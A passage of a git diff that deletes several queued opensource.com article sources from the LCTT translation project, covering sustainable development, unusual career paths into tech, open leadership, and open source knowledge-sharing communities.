[LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/shuligoodman -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/bulb-light-energy-power-idea.png?itok=zTEEmTZB (Light bulb) -[2]: https://www.lfenergy.org/projects/seapath/ -[3]: https://wiki.lfenergy.org/display/HOME/Digital+Substation+Automation+Systems+%28DSAS%29+Initiative -[4]: https://grist.org/climate/yes-the-u-s-can-go-carbon-neutral-by-2050-says-new-princeton-study/ -[5]: https://e360.yale.edu/features/deep-decarbonization-a-realistic-way-forward-on-climate-change -[6]: https://www.iea.org/reports/global-ev-outlook-2020 -[7]: https://apnews.com/article/7393a2dd5c69f590a8e7db3d19f1e240 -[8]: https://www.lfenergy.org/projects/fledgepower/ -[9]: https://opensource.com/business/14/10/opendaylight-helium-gets-out-gate -[10]: https://www.lfenergy.org/join/ -[11]: https://github.com/seapath diff --git a/sources/talk/20210423 Sustainable economic development begins with open thinking.md b/sources/talk/20210423 Sustainable economic development begins with open thinking.md deleted file mode 100644 index 73e1154810..0000000000 --- a/sources/talk/20210423 Sustainable economic development begins with open thinking.md +++ /dev/null @@ -1,124 +0,0 @@ -[#]: subject: (Sustainable economic development begins with open thinking) -[#]: via: (https://opensource.com/open-organization/21/3/sustainable-development-environment) -[#]: author: (Ron McFarland https://opensource.com/users/ron-mcfarland) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Sustainable economic development begins with open thinking -====== -Do our global development practices respect planetary boundaries? -Greater transparency could provide insight. -![2 cents penny money currency][1] - -To be successful, open organizations must have specific purposes, address achievable goals, perform clear tasks, effectively evaluate the results of their work, and introduce countermeasures or revisions to their operations. [Open organization principles][2] serve vital functions throughout this process. - -This is true no matter the scale of the problem an open organization confronts. In this three part review of [_The Age of Sustainable Development_][3] by Jeffrey Sachs, I'll examine an issue with global scope—sustainable economic development—to demonstrate how thinking openly can help us address global issues. - -Specifically, in this article I'll discuss the important role of _transparency_ in assessing environmental damage and destruction some economic development programs can cause, and I'll explain how the principle of transparency also helps us think about specific actions we can take to combat destructive forces. In the next article, I will discuss human suffering on a global scale—here again stressing transparency. And in the third and last article, I will bring both these concerns together and discuss global governance. That is where we'll recognize the importance of open organization principles for making progress on these issues. - -One more note: All these articles address extremely complex subjects. So at the end of each, I'll share a video presentation offering additional explanation. I'll start that discussion by introducing what I call the Open Organization Principles Loop, so you can visualize how these principles can be applied to sustainable global economic development issues. - -Simply put, letting [open principles][2] guide our work creating sustainable, global economic development will help: - - * Make global, environmental and human suffering problems **transparent** - * Form and unite organizations/**communities** at the local (not only global) level to tackle those problems - * Start **collaboration** within and between communities to find detailed, local solutions - * Recruit and **include** members globally to gain broad perspectives on how to achieve goals - * **Adapt** strategies to each region globally and in each local community - - - -All this starts with exposing specific problems and making them vividly transparent. Once exposed, these problems must be broadly presented and made _immediately personal_ to every individual. - -This is the discussion I hope to start in this article on global environmental issues. - -The earth has what we might call "planetary boundaries." Respecting these boundaries means being prosperous, socially inclusive, and environmentally responsible. - -### Stressing planetary boundaries - -In a previous article entitled "[Climate challenges call for open solutions][4]," I discussed only the issue of carbon-free power generation, particularly through fourth-generation nuclear power plants that are now being developed. But reading Sach's book, _The Age of Sustainable Development_, made me realize that energy generation through nuclear power plants is an approach _too narrow_ to address the massive climate challenges the world faces (the phrase "climate challenge" might _itself_ be too narrow). "Sustainable economic development" might be a better phrase to describe what should be our most pressing concern, of which climate change is only _one_ component issue. When we use the term "sustainable," we're referring to methods that effectively avoid driving something or some species to extinction—including humankind. It is the conservation of living and mineral resources in ways that continue to make life on earth economically viable. - -Sachs' book suggests a wide range of strategies on detailed concerns that could move the global society toward sustainable economic development. I will quickly review them and explain where open organization principles can play a role. - -The earth has what we might call "[planetary boundaries][5]": it can only support life to the extent that life forms respect these boundaries. They are the foundations of ecosystems like forests and fisheries, for example. Respecting these boundaries means being prosperous, socially inclusive, and environmentally responsible. - -We must monitor and manage our relationships with these planetary boundaries globally. Here are at least nine boundaries: - - 1. **Climate change**: This is directly related to [greenhouse gases][6] (GHGs). - 2. **Ocean acidification**: Rising acidity threatens various marine life. - 3. **Stratospheric ozone depletion**: Evidence suggests a direct link to skin cancers and other disorders. - 4. **Biogeochemical flow boundaries (Nitrogen Cycle/Phosphorus Cycle)**: Chemical fertilizers are required for high crop yield, but their runoff negatively impacts the surrounding environment. - 5. **Global freshwater use and water scarcity**: Groundwater is declining worldwide while demand is growing with population growth. - 6. **Land degradation**: Deforestation is a major problem, as forests withdraw CO2 in the atmosphere and are the habitat of many species. - 7. **Biodiversity loss**: We depend on biodiversity for our food supply, for our safety from many natural hazards like flooding, industry/construction material supply, freshwater and combating pests and pathogens. - 8. **Atmospheric aerosol loading**: Simply put, smog causes problems like life-threatening lung disease. - 9. **Chemical pollution**: Petrochemical production, steel production, and mining processes put deadly pollutants into their surrounding environments. - - - -Sachs indicates that humans have stressed these boundaries in major areas around the globe, and earth's natural system can't cope with that pressure. Sachs believes that during this century human beings will stress all nine boundaries in critically dangerous ways, unless dedicated organizations and communities are formed to establish projects that execute on reversing them. - -### Why can't we just save the world? - -It's difficult to convince people of environmental importance and to assemble organizations, communities, neighborhoods and resources to execute action plans. Sachs cites six primary reasons for this: - - 1. **Global problems.** No single actor can take charge to get things started and organizing on a global scale is extremely difficult. - 2. **Short-term special interests groups.** Many parties have competing goals, and no one is [speaking for the planet][7]. - 3. **Impact timeframe.** The greatest impact will be on those not born yet. - 4. **Current economic structure.** The solutions might be incompatible with the current economic structure. But, its damage to the environment must be exposed and a new sustainable economic structure technically developed to replace it. - 5. **Pace of change.** The impact is not visible on a daily, weekly, or even monthly basis. - 6. **Complexity.** Environmental issues are caused by many human activities, not just one. - - - -Reviewing these six characteristics, we see that getting solutions adopted globally requires a powerful sales job. But applying open organization principles can be significantly helpful, particularly making the problems as transparent as possible on a global scale. - -Both globally and locally, communities can't continue with their current modes of economic development—not if they want to respect planetary boundaries. Business as usual, Sachs stresses, will destroy us all. - -As I mentioned earlier, Sachs notes that generally addressing sustainable development directly is too vague and unhelpful. The challenge must be broken down into detailed projects and tasks for each region and community on the planet. Here are some specific examples of initiatives that are important but could vary by region: - - 1. Building/home energy use reduction - 2. Environmentally friendly transportation - 3. Secure food production to reach demand - 4. Clean/efficient electrical power generation, storage and distribution - 5. Environmentally friendly urban designing - 6. Ocean biodiversity protection - 7. Plant biodiversity protection - 8. Wildlife biodiversity protection - 9. Air pollution & the CO2 reduction - 10. Freshwater supply to satisfy future demand - - - -### The cost of doing nothing - -Both globally and locally, communities can't continue with their current modes of economic development—not if they want to respect planetary boundaries. Business as usual, Sachs stresses, will destroy us all. - -At the start of this discussion, I mentioned the importance of transparency and the need to expose the environmental damage that many human economic activities cause. Information and communication technology specialists will become increasingly central to these transparency efforts, as they can effectively and cost efficiently use automated data gathering, analytics, telecommunications, and other technologies to help increase transparency. (Wondering how you might do this? Why not [ask our community][8]?) - -In the next article, I will attempt to make vividly transparent the impact of unsustainable development practices on human inequality and suffering at a global level. Armed with a full understanding of both these challenges, in my last article in this series, I'll present global governance to tackle them. In that governance all open organization principles will play vital roles. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/21/3/sustainable-development-environment - -作者:[Ron McFarland][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ron-mcfarland -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/Medical%20Costs%20Transparency_1.jpg?itok=CkZ_J88m (2 cents penny money currency) -[2]: https://theopenorganization.org/definition/ -[3]: https://www.goodreads.com/book/show/23215948-the-age-of-sustainable-development -[4]: https://opensource.com/open-organization/19/10/global-energy-climate-challenges -[5]: http://www.igbp.net/news/features/features/aplanetontheedge.5.1b8ae20512db692f2a680003122.html -[6]: https://en.wikipedia.org/wiki/Greenhouse_gas#/media/File:Global_GHG_Emissions_by_Sector_2016.png -[7]: https://opensource.com/open-organization/19/10/open-platform-greenpeace -[8]: http://theopenorganization.community diff --git a/sources/talk/20210502 15 unusual paths to tech.md b/sources/talk/20210502 15 unusual paths to tech.md deleted file mode 100644 index 1fd0f98266..0000000000 --- a/sources/talk/20210502 15 unusual paths to tech.md +++ /dev/null @@ -1,92 +0,0 @@ -[#]: subject: (15 unusual paths to tech) -[#]: via: (https://opensource.com/article/21/5/unusual-tech-career-paths) -[#]: author: (Jen Wike Huger https://opensource.com/users/jen-wike) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -15 unusual paths to tech -====== -Our past lives can be exciting and funny. Here are some surprising ways -folks have made their way to open source. -![Looking at a map for career journey][1] - -The lives we led before we arrived where we are now sometimes feel like a distant land full of memories we can't quite recall. And sometimes we have lived experiences that we'll just never forget. Many times those experiences teach us and help us appreciate where we are today. We may even wish for those days as we recount our past lives. - -What did you do before tech? Tell us in the comments. - -I did **janitorial work** in the university cafeteria after it closed every day, and I got extra pay cleaning it up after live gigs held there (which happened about 4 times a year). We started to clean up for the following morning after the venue was vacated about 4 am, and had to get it cleaned and set up for opening the following morning at 7 am. That was fun. I worked summers in a livestock mart in the West of Ireland, running the office, keeping the account books, minding the cash that came through. I also had stints as a barman, lecturer, and TA at a local university while I was a post-grad, and once spent a few days stocking a ship with boxes of frozen fish in a Dutch port. —[Dave Neary][2] - -I was a **musician** in the Marine Corps, but being a bassoonist in the Corps means that you're mostly playing bass drum. After burning out, I changed to data comms for my second enlistment. —Waldo - -My last job before tech was as **a papermaker at a hi-speed newsprint plant** around 1990-1998. I loved this job, working with huge machines and a nice product. I did a lot of jobs from clamp lift driver to planner shipments abroad and back to production. What led me to tech was a program at the paper mill; they had a budget for everyone to get a PC. Honestly, for me, it was super vague what purpose that would serve me. But not long after I got into web design with a colleague, I became a hardcore XHTML and CSS frontend developer with the help of my PC. —[Ben Van 't Ende][3] - -I worked at McDonald's through high school and college. In summers, I also worked at **a few factory jobs, a screw and bolt factory,** where I got to drive a forklift (which is heaven for an 18-year-old). I also worked at a plastics factory, eventually on the shipping deck. My first tech job was in 1982 for Westwood Family Dentistry. This was a large, mall dentistry chain and they were paying me to write their front desk software and billing software on [MP/M-based][4] PCs from Televideo. If you ever watched the movie "War Games," these are the terminals Mathew Broderick used. This was prior to Microsoft releasing MS-DOS. The code was written in Cobol. —[Daniel Walsh][5] - -I was a **sound engineer recording audiobooks** for visually impaired people. There was a global project to set up a new global standard and move to digital recordings which became the DAISY standard and system. After that, I moved to the IT department in the company I worked for. —[Jimmy Sjölund ][6] - -Before tech, I was working in **public relations** at an agency that specialized in high tech, scientific, and research clients. I convinced the agency to start working with online information, and my first project in that arena was creating a weekly intelligence report for the Semiconductor Industry Association, based on posts in newsgroups like comp.arch and comp.realtime. When the World Wide Web (yes, that's how everyone referred to it at the time) began becoming more well-known one of my PR clients (a lawyer for tech startups) asked me if I knew how it worked. I did (and told him so), and he hired me to create his firm's website. The site, for Womble, Carlyle, Sandridge & Rice, was the first law firm website in North Carolina. A few more requests in the same vein later, I'd shifted my focus to online-only, leading to 20+ year career in web strategy. —[Gina Likins ][7] - -I graduated in humanities in 1978 and started to teach human geography at Milan University while working as a **map editor** at Touring Club Italiano, at the time the largest map publisher in Italy. I soon realized that a career in geography was good for the mind but bad for the wallet, so I moved to a Swedish company, Atlas Copco, as house organ editor. Thanks to a very open-minded manager, I learned an awful lot in term of marketing communications, so after a couple of years I decided that it was time to challenge my skills in real marketing, and I was hired by Honeywell Information Systems, at the time second only to IBM in the information technology market. Although I was hired to manage marketing communications of PC compatible printers, after six months I was promoted to European Marketing Director, and after a couple of years, I become Corporate VP of Peripherals Marketing. In 1987, I moved to real PR at SCR (now Weber Shandwick), then Burson Marsteller, and then Manning Selvage & Lee. In 1992, I started my own PR agency, which was acquired by Fleishman-Hillard in 1998. In 2003, I left Fleishman-Hillard as Senior VP of Technology Communications, to start a freelancing career. While looking at the tools for the trade, I stumbled on OpenOffice, and at age 50 I eventually entered the FOSS community as a volunteer handling marketing and PR (of course). In 2010, at age 56, I was one of the founders of the LibreOffice project, and I am still enjoying the fun here (and in several other places, such as OSI, OASIS, and LibreItalia). — -[Italo Vignoli ][8] - -Right after college at age 23, I had a job where I went to hot zones around the US wherever there were **toxic spills or man-made chemical disasters**. So I visited some real cesspools in America full of death and misery and lived there for months at a time. I was there to support the investigators of the Agency for Toxic Substances and Disease Registry and the Center for Disease Control by editing the interviews they collected for clarity and sending them to the home office in Atlanta by modem. That job extended in technical responsibility with every new place they sent me off to, but it was awesome! I was 100% focused on being a toxicologist by that point. So after that, I got a job as a network analyst for the University of Buffalo medical school so I could get discounted tuition to attend the med school. I even taught medical computing to other 25-year-olds my age and saw my future in med technology. But after a year I realized I couldn't do eight more years of university. I didn't even like most doctors I had to work with. The scientists (PhDs) were awesome but the MDs were pretty mean to me. That's when my boss said to me that my true passion was hacking and he thought I was good at it. I told him he was crazy and that medicine was the future, not security. Then he quit, and I didn't like my new boss even more so I quit. I then got an offer to help start IBM's new Ethical Hacking service called eSecurity. And that's how I became a professional hacker. —[Pete Herzog][9] - -I was always in information technology, it's just that the technology evolved. When I was still in elementary school, I delivered newspapers, which I would argue to be information produced by information technology. In high school, I continued that but eventually was fetching and storing data from the "stacks" at the local library (as well as doing lookups, working with punch cards, etc: Our books had punch cards for return by dates. So, when someone checked out a book, we would use a microfilm (or was it a microfiche?) camera to photograph the book description card, and a punch card which would then be inserted into the book's pocket. Upon return, the punch cards were removed and stacked to be sent through a card sorter, that -- presumably -- would do something about any cards missing from the sequence. (We weren't privy to the sorter or any computer that might have been attached. The branch would pack up the punch cards and send them to the main library.) As mentioned in a previous article for OpenSource.com, I was introduced to my first computer in high school. I had a job as a graveyard shift computer operator at a local hospital, mounting the tapes, running the backups, running batch jobs that printed reports on five-part carbon -- which left me with a deep-seated hatred for line-printers -- and then delivering those reports throughout the hospital -- kind of like being a newspaper delivery boy again. Then, college, where I ended up being the operator / "sys admin" (well, that last is a bit of a stretch, but not much) of a Data General Nova 3. And finally, onto an internship as a coder that, like Zonker T. Harris, I never left. —[Kevin Cole][10] - -Probably the most surprising jobs I had before working in free and open source software (FOSS) were: - - * Political organizer working on state-level campaigns for marriage equality, a higher minimum wage and increased transparency in state government - * Local music promoter, booking and promoting shows with noise bands, experimental acts and heavy rock, etc - * Cocktail waitress/bouncer/spotlight operator at a drag bar, whatever they needed that night - - - -—[Deb Nicholson][11] - -I never had a job in tech but was a neurologist. After going through the extended initiation of learning Linux, installing it on various machines, I then used it in my practice. I used to have my own computer in the office, running Linux, in addition to the office's system. As far as I know, I was the only doctor to carry around a laptop while on rounds in the hospital. There I kept my patient list, their diagnoses, and which days I visited them, all in a Postgres database. I would then submit my lists and charges for the day to the office from this database. With the hospital's wifi, I had access to the electronic data and lab results also. I would do EMGs (electromyography) and for a while used TeX to generate the reports, but later found that Scribus worked better, with some basic information contained in a file. I would then type out the final report myself. I could have a patient go straight to his doctor's office after the test, carrying a final report with him. To facilitate this, once I found that we had some space set aside for us doctors on the hospital's server, I could install Scribus there for various uses. When I saw a patient who needed one or more prescriptions, I wrote a little Python script to make use of Avery labels, which I would then paste on a prescription blank and sign. Without a doubt, I had the most legible prescriptions you would ever see from a doctor. Patients would tell me later when they went to the pharmacy, the pharmacist would look at the prescription and say, "What's this?!". If I was doing this for a hospitalized patient, this meant I could make an extra copy and take it to the office to put in the patient's chart also. While we still had paper charts in the hospital (used for doctors' notes) I made a mock-up of a physicians' notes and orders page in Scribus with Python, and when I saw a patient, I would enter my notes there, then print out on a blank sheet with the necessary holes to fit in the chart. These pages were complete with the barcode for the page type and also the barcode for the patient's hospital number, generated with that Python script. After an experience of waiting a week or two for my office dictation to come back so I could sign it, I started typing my own office notes, starting with typing notes as I talked to the patient, then once they were gone, typing out a letter to go to the referring physician. So I did have a job in tech, so to speak, because I made it so. —[Greg Pittman][12] - -I started my career as a journalist covering the European tech sector while living in London after grad school. I was still desperate to be a journalist despite the writing on that profession's wall. I didn't care which beat I covered, I just wanted to write. It ended up being the perfect way to learn about technology: I didn't need to be the expert, I just had to find the right experts and ask the right questions. The more I learned, the more curious I became. I eventually realized that I wanted to stop writing about tech companies and start joining them. Nearly nine years later, here I am. —[Lauren Maffeo][13] - -Well, that degree in English Literature and Theology didn't really set me up for a career in computing, so my first job was *supposed *to be teaching (or training to be a teacher in) English for 11-18-year-olds. I suppose my first real job was working at the Claremont Vaults in Weston-super-mare. It was a real dive, at the wrong end of the seafront, was smoke-filled at all times (I had to shower and wash my hair as soon as I got home every night), and had 3 sets of clientele: - - * The underage kids. In the UK, this meant 16 and 17-year-olds pretending to be 18. They were generally little trouble, and we'd ask them to leave if it was too obvious they were too young. They'd generally shrug and go onto the next pub. - * The truckers. Bizarrely (to 18-year-old me, anyway), the nicest folks we had there. Never any trouble, paid-up, didn't get too smashed, played a lot of Country on the jukebox. - * The OAPs (Old-Age Pensioners). Thursday night was the worst, as pensions (in those days) were paid on Thursdays, so the OAPs would make their way down the hill to the nearest post office, get their pension, and then head to the pub to get absolutely ratted. They'd get drunk, abusive, and unpleasant, and Thursdays were always the shift to try to avoid. I don't miss it, but it was an education for an entitled, privately-educated boarding-school boy with little clue about the real world! - - - -—[Mike Bursell][14] - -In no particular order: **proofreader, radio station disk jockey,** bookkeeper, archaeology shovelbum, reactor operator, welder, apartment maintenance and security, rent-to-own collections, electrician's helper, sunroom construction... and I'm definitely missing a few. The question isn't so much "what led me to tech" as "what kept me from it," the answer is insufficient personal connections and money. My entire life was leading me to tech, it was just a long, rocky, stumbling road to get there. I might never have gotten there, if I hadn't gotten an injury on the construction job serious enough to warrant six months of light duty—the company decided to have me come into the office and "I don't know, make copies or something" rather than just paying me to sit at home, and I parlayed that into an opportunity to make myself absolutely indispensable and turned it into a job as the company's first Information Technology Manager. It's probably worth noting that the actual conversion to IT Manager didn't just happen because I made myself indispensable—it also happened because I literally cornered the CEO a week prior to me going back out into the field to build sunrooms, and made a passionate case for why it would be an enormous waste to do that. Lucky for me, that particular CEO appreciated aggressive ambition, and promptly gave me a raise and a job title. —[Jim Salter][15] - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/5/unusual-tech-career-paths - -作者:[Jen Wike Huger][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jen-wike -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/career_journey_road_gps_path_map_520.png?itok=PpL6jJgY (Looking at a map for career journey) -[2]: https://opensource.com/users/dneary -[3]: https://opensource.com/users/benvantende -[4]: https://en.wikipedia.org/wiki/MP/M -[5]: https://opensource.com/users/rhatdan -[6]: https://opensource.com/users/jimmysjolund -[7]: https://opensource.com/users/lintqueen -[8]: https://opensource.com/users/italovignoli -[9]: https://opensource.com/users/peteherzog -[10]: https://opensource.com/users/kjcole -[11]: https://opensource.com/users/eximious -[12]: https://opensource.com/users/greg-p -[13]: https://opensource.com/users/lmaffeo -[14]: https://opensource.com/users/mikecamel -[15]: https://opensource.com/users/jim-salter diff --git a/sources/talk/20210506 Optimal flow- Building open organizations where leaders can emerge.md b/sources/talk/20210506 Optimal flow- Building open organizations where leaders can emerge.md deleted file mode 100644 index e9073ee7b8..0000000000 --- a/sources/talk/20210506 Optimal flow- Building open organizations where leaders can emerge.md +++ /dev/null @@ -1,122 +0,0 @@ -[#]: subject: (Optimal flow: Building open organizations where leaders can emerge) -[#]: via: (https://opensource.com/open-organization/21/5/optimal-flow-open-leaders) -[#]: author: (Jos Groen https://opensource.com/users/jos-groen) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Optimal flow: Building open organizations where leaders can emerge -====== -To create innovative and engaged organizations, you'll need to set the -conditions for open leaders to thrive. This checklist can help. -![Arrows moving across a landscape][1] - -Previously in this series on open organizations and talent management, I’ve discussed the importance of [cultivating an organization’s open leaders][2] by getting out of their way and letting them flourish. As someone invested in developing your organization’s next generation of leaders, know that your goal here isn’t to be entirely “hands off”; instead, your goal is to spend time building the systems and processes that help new leaders find their footing and unleash their passion. The truth is that leadership talent rarely develops on its own. - -Building these systems and processes is critical during your open organization’s _hybrid phase_. In this article, I’ll discuss what that means and why it’s so important. I’ll also offer a few crucial questions you should be asking yourself as you nurture talent during this phase of your organization’s transformation. - -### A breeding ground for leadership talent - -Conventional organizations don’t become [open organizations][3] over night. They _evolve_ into open organizations. That means your organization will never be _entirely closed_ or _entirely open_; it will exist in a state of transition. [This is the organization’s _hybrid_ state.][4] - -As [I’ve said before][2], during an organization’s hybrid phase, “you’ll encounter periods in which traditional and open practices operate side by side, even mixed and shuffled.” This can be a challenge. But it can also be an opportunity. - -This hybrid situation is especially critical, because it’s the time when your vision and approach to leadership talent development determine the success of the transformation to a more open organization (and the speed at which you achieve that success). It’s the breeding ground of your new organizational culture. - -So your focus on vision and strategy is key here. You’ll need to create the principles and preconditions for a psychologically safe environment, one with permeable boundaries that allow talent to flow. - -Here are some steps you might take to do this. - -### Think flow - -First of all, get to know your own purpose, strengths, and passions. And do this not just “in your head,” with [your heart and gut intelligence][5], too. In this way, leaders can explore their own compass and intuitive power from within. What do I intrinsically like and dislike? - -You’ll need to create the principles and preconditions for a psychologically safe environment, one with permeable boundaries that allow talent to flow. - -Then imagine ways you can ensure a successful flow of talent throughout your organization. Consider various leadership development stages and map those stages to the areas and positions inside your organization where leadership talent might develop step by step. - -Ultimately, to create opportunities for your emerging leaders, you’re trying to connect knowledge from various areas—people, market, business, financial control and the “me” in that field. So if you are able to put them in these positions or in projects where these areas interconnect, you’ll achieve optimal flow. - -This will involve some key questions like: - - * How will leadership talent contribute to the success of the organization? - * What kind of balance between managers and leaders are you aiming for? - * Does your organization currently have enough leadership coaches and mentors available to help? - - - -Don’t forget to tap mentors outside your pool of existing managers. Managers tend to train other managers; leaders tend to train other leaders. By “leaders,” I mean those employees who assume inclusiveness and trust, who recognize the qualities of colleagues that make them so successful, and who share responsibility. Leaders support responsible people in making and implementing decisions. Leaders want to make themselves superfluous. - -### The safety to learn - -When thinking about talent development, know that you will need to provide a safe environment for emerging leaders to practice and learn. This way, talented employees can gain crucial experience. Failure is a great learning tool and a powerful part of this experience. But to be able to fail, people must feel there is a safety net—that is, that they can fail safely. - -As you work through your organization’s hybrid period, ask: - - * What resources do you need to create a safe environment for growth - * How will you know that you’ve created that environment? - - - -### Working through tensions - -You’ll experience tension during your organization’s hybrid period, as various parts of the organization (and various stakeholders) embrace change at their own paces. While some employees—especially your emerging leaders—will be pushing forward, others in the organization may not yet be ready for change that rapidly. As a result, you might observe insufficient willingness to invest in talent, in preparation, and in the guidance these emerging leaders need. - -So ask yourself: - - * Is the organization prepared to invest in up-and-coming leaders? - * Do you actually know how talented employees are prepared for their futures in your organization? - - - -### The space to practice - -Leadership talent must be given time and space to practice; this will lay the foundation for their success. For example, you might offer highly skilled and motivated employees an opportunity to present to the board, or even to a group of colleagues. Or you can give potential leaders a consulting role on the board. Have them prepare and chair important meetings. Have them research and prepare reports. - -Nothing is more important than teaching them to dig deeper into a subject they’re responsible for. - -Nothing is more important than teaching them to dig deeper into a subject they’re responsible for. You can also think about giving them a significant project or task that will introduce them to some aspects of leadership and collaboration. - -So ask yourself: - - * How can I create opportunities for my emerging leaders to gain visibility? - * How can I better understand what my younger leaders care about? - - - -### Model what you seek - -Leadership talent develops through collaboration. So make sure you’re available as a coach and mentor for emerging leaders in your organization. This is the best way to see precisely what future leaders are capable of and learn whether they have the capacity to stretch even further. Don’t limit the support you offer them to some training and perhaps a bit of external coaching. Offer these yourself. Teach your leadership talent how they can begin to stand on their own—and, yes, to fail on their own, too. Share the experiences that have shaped you as a leader, and offer your own insights into the aspects of the business you find most compelling. In short, help them gain the skills they need to create their own thriving teams, even when that means making their own presence less important or even unnecessary. A passionate and committed leader takes the time to do this. Great leaders create other leaders! - -So ask yourself: - - * What exemplary behavior can I provide so that emerging leaders might learn from it? - * How can I be available to answer questions openly at all levels of awareness for the talent? - * What insights can I offer that are essential for further development? - * How can I personally support leaders as they develop their skills? - * What does the talent need from me to develop further? - - - -In my next article, I’ll address leadership talent in various locations in your organization—at the top, in the middle management, and on the ground. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/21/5/optimal-flow-open-leaders - -作者:[Jos Groen][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jos-groen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_opennature2-a.png?itok=UfPGAl5Q (Arrows moving across a landscape) -[2]: https://opensource.com/open-organization/21/3/open-spaces-leadership-talent -[3]: https://theopenorganization.org/definition/ -[4]: https://opensource.com/open-organization/20/6/organization-everyone-deserves -[5]: https://opensource.com/open-organization/21/4/open-leadership-listen-heart diff --git a/sources/talk/20210507 6 examples of open source best practices in knowledge-sharing projects.md b/sources/talk/20210507 6 examples of open source best practices in knowledge-sharing projects.md deleted file mode 100644 index e473e47bc4..0000000000 --- a/sources/talk/20210507 6 examples of open source best practices in knowledge-sharing projects.md +++ /dev/null @@ -1,112 +0,0 @@ -[#]: subject: (6 examples of open source best practices in knowledge-sharing projects) -[#]: via: (https://opensource.com/article/21/5/open-source-knowledge-sharing) -[#]: author: (Deb Bryant https://opensource.com/users/debbryant) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -6 examples of open source best practices in knowledge-sharing projects -====== -Compare how six different knowledge-sharing communities approach -gathering, maintaining, and distributing their best practices. -![Practicing empathy][1] - -As someone who has watched my fair share of projects and initiatives come and go, I value the follow-on effects of good knowledge sharing. Even knowledge from bygone projects is available to learn from the past; such is the benefit and the curse of an internet that never forgets—all the practices good, no-longer-good, and never-were-good are out there to be found. - -As the head of Red Hat's [Open Source Program Office][2] (OSPO), I both appreciate and benefit from the myriad ways different communities create and share knowledge about open source. - -The very effort of creating open source software is a massive knowledge-sharing experience, covering all the domains of software development with many methods and practices. Although there is rarely only one way to achieve a goal, open source communities have, over time, honed their knowledge into best practices as a natural byproduct of the open collaboration and transparency passed on within their respective communities. - -But what about best practices that span communities, which are useful beyond the unique needs of a single project and broadly applicable to any and all open source software efforts? I'll look at six different knowledge-sharing communities that take six approaches to gathering, maintaining, and distributing their best practices. - -### TODO Group - -The TODO Group creates and maintains a set of [Open Source Guides][3] to support any organization developing an OSPO. An OSPO is a central program office working on a range of activities for the organization, defined by the organization's mission and open source interactions. It may be involved in license compliance, open source development practices, upstream community management, fostering internal community, facilitating relationships with foundations and standards bodies, and so forth. - -The best practices in these guides are to help organizations implement and run an effective OSPO. By collaborating within the TODO Group, the member OSPOs can raise their own knowledge while bringing up the collective knowledge of other OSPOs inside and outside of the TODO Group. Just as spreading good software development practices can help projects interoperate better, this raises the tide for all OSPOs for mutual benefit. - -The guides cover creating a new open source program. Featured topics include program management best practices such as using code, participating in existing communities, recruiting open source developers, and starting, running, and shutting down a project. - -These guides are examples of the benefits of knowledge sharing around a niche collaboration on tools and best practices. They provide guidance and assurance around a process-driven approach to open source software development as influenced by an open source program or projects office in all types of organizations. - -### OSI - -As part of expanding its education programs, the Open Source Initiative (OSI) has partnered with Brandeis University's Graduate Professional Studies and introduced a new [Open Source Technology Management][4] program. (Full disclosure: I'm a current OSI Board member.) This program's goal is to meet the growing demand for expertise from organizations seeking to professionalize their open source activities, from strategic planning to operational governance, and authentically collaborate and manage open source resources. - -In a series of four-week online microcourses, participants learn more about a range of topics, including how open source communities operate, how an organization might integrate with them, how communities develop software openly, and how businesses might embrace open source. - -The program is shaped by input from leading open source content experts and provides four learning options that align with each participant's lifestyle and learning style. A person can participate in a single microcourse or take several to earn a digital badge or certificate. These courses include content that students will find immediately useful in their work alongside material that supports graduate studies, should the student choose to complete an additional assessment for graduate-level credit. - -This is an example of a knowledge-sharing experience that combines several goals, from professional to academic pursuits. - -### IEEE SA OPEN - -The Institute of Electrical and Electronics Engineers goes back to 1884; in the intervening 137 years, IEEE has grown to be the world's largest technical professional society. Such societies are a pinnacle of knowledge-sharing communities, and IEEE's remit as a standards-developing organization overlaps with computer science and thus, open source software. - -The new [IEEE SA OPEN][5] program, launched in 2020, is a collaboration platform to "bridge the gap between standards developers and other open technical communities." One of its key tools is a 100% open source Git forge that is being expanded to embed knowledge directly and automatically into its processes. - -The documentation includes guidance from specific advisory groups, such as community, marketing, technical, academic, and diversity and inclusion. These advisory groups create a collaborative body of documentation and processes, which are then rolled out to be available for all projects on the SA OPEN platform. - -Not only does this documentation provide a list of needs for an open source project when starting, such as a governance framework, a code of conduct, and a contribution policy, the SA OPEN platform team plans to automate the creation and lifecycle of these documents for each project. This is done using an extensible open source platform that can be coded to embody "the IEEE way" of doing open source development. - -This knowledge-sharing method works by distilling the world of best practices and toolchains into a single set of solutions that can align with the long-horizon efforts of an organization like IEEE. - 